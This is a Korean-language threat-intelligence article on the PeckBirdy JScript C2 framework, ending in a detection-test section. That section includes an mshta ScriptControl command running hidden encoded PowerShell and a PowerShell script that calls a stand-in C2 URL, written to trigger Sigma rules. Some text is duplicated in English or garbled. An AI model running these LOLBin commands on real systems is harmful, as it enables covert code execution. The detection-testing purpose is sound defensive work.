SOC Prime Bias: 위급

26 Jan 2026 19:08 UTC

PeckBirdy: 중국 연계 위협 그룹이 사용하는 LOLBins 악용을 위한 다목적 스크립트 프레임워크

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
PeckBirdy: 중국 연계 위협 그룹이 사용하는 LOLBins 악용을 위한 다목적 스크립트 프레임워크
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

PeckBirdy는 중국 계열 APT 행위자들이 Living-off-the-land 이진 파일을 악용하고 HOLODONUT과 MKDOOR를 포함한 모듈형 백도어를 배포하기 위해 사용하는 JScript 기반 명령 및 제어 프레임워크입니다. 이 프레임워크는 웹 브라우저, MSHTA, WScript, NodeJS, .NET을 포함한 여러 런타임에서 실행되도록 설계되었으며, WebSocket, Flash, Comet, HTTP 등 다양한 전송 옵션을 지원합니다. 이 프레임워크는 SHADOW-VOID-044 및 SHADOW-EARTH-045로 추적된 캠페인에서 온라인 도박 리소스, 아시아 정부 웹 포털 및 교육 부문 조직을 대상으로 관찰되었습니다.

조사

연구원들은 도박 사이트와 정부 페이지에 악성 스크립트 인젝션을 보고했으며, 이는 PeckBirdy 로더를 활용하여 Chrome 취약점 (CVE-2020-16040) 및 추가 백도어 구성 요소를 포함한 후속 페이로드를 가져왔습니다. 이 활동은 HOLODONUT 및 MKDOOR라는 두 가지 모듈형 임플란트와 연결되었으며, 이전에 관찰된 그룹 및 인프라 패턴과 연결되었습니다. 분석에는 IP 주소, 도메인 및 도난된 코드 서명 인증서 사용과 같은 운영 세부사항을 포함한 손상 지표가 나열되었습니다.

완화

식별된 악성 도메인 및 IP 주소를 차단하고, MSHTA, WScript, NodeJS를 통한 비정상적인 LOLBin 사용 및 스크립트 실행을 모니터링하세요. 파일을 %TEMP%에 만들어 감지하고 코드 서명 인증서의 엄격한 검증을 시행하세요. 알려진 Cobalt Strike 페이로드와 Donut 생성 .NET 어셈블리에 대한 범위를 갖추면 노출을 더욱 줄일 수 있습니다. file in %TEMP% and enforce strict code-signing certificate validation. Coverage for known Cobalt Strike payloads and Donut-generated .NET assemblies can further reduce exposure.

대응

감지된 경우, 영향을 받은 시스템을 격리하고, 인젝션된 스크립트 및 생성된 백도어 바이너리를 수집하며, 관련된 C2 인프라를 차단하십시오. 측면 이동을 위한 포렌식 삼라마를 수행하고 관찰된 명령줄 아티팩트 및 네트워크 트래픽 패턴에 대한 감지 로직을 업데이트하십시오.

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.

이유: 이 섹션에서는 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리에서 기대되는 정확한 텔레메트리를 생성하는 것이어야 합니다.

  • 공격 내러티브 및 명령어:
    적대자는 PeckBirdy 스크립트 프레임워크를 사용하여 원격 제어 채널을 설정하고자 합니다. 그들은 mshta.exe 를 선택했습니다. 이는 대부분의 애플리케이션 허가 목록을 우회하는 서명된 Windows 이진 파일이기 때문입니다. 페이로드는 C2 서버에서 가져온 JScript 코드를 실행하기 위해 ActiveX ScriptControl 개체를 포함합니다. 단계는 다음과 같습니다:

    1. C2에서 악성 JScript 페이로드를 다운로드 (예: ).
    2. 에서 mshta.exe 인라인 으로 URI를 통해 ScriptControl 인스턴스를 만들고, 다운로드한 스크립트를 로드하고 실행합니다.
    3. JScript 코드는 역방향 TCP 리스너를 설정하여 발판을 완성합니다.

    텔레메트리를 생성하는 정확한 명령줄은 다음과 같습니다:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    이 명령은 mshta.exe 와 문자열 ScriptControl를 모두 포함하여 Sigma 조건을 충족합니다.

  • 회귀 테스트 스크립트:
    아래 스크립트는 악성 mshta 호출을 자동화합니다. 관리 계정을 통해 테스트 워크스테이션에서 실행될 수 있습니다.

    #-------------------------------------------------
    # mshta + ScriptControl을 통한 PeckBirdy 실행
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // 간단한 비콘 – 실제 페이로드로 교체
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # JScript 페이로드를 인코딩하여 줄 바꿈 문제를 피합니다
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] 악성 mshta 실행 중..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • 정리 명령:
    테스트에서 생성된 아티팩트를 제거하십시오 (예: 임시 파일).

    #-------------------------------------------------
    # PeckBirdy 시뮬레이션 후 정리
    #-------------------------------------------------
    Write-Host "[*] 테스트 아티팩트 정리 중..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # 테스트에서 시작된 남아있는 mshta 프로세스를 중지합니다
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force